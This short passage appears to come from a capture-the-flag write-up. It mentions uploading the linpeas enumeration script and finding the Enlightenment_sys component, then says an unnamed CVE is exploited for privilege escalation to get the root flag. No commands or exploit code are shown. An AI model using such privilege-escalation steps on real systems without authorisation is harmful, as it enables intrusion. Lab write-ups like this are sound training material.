I found no exploitable points and uploaded linpeas to scan for vulnerabilities.

Enlightenment_sys

Enlightenment_sys in some cases could be an internal component or refer to scripts or tools for interacting with Enlightenment; it could also be a module or a configuration depending on the context.

In this point it’s just exploit the CVE for scalation previleges and get the root flag.
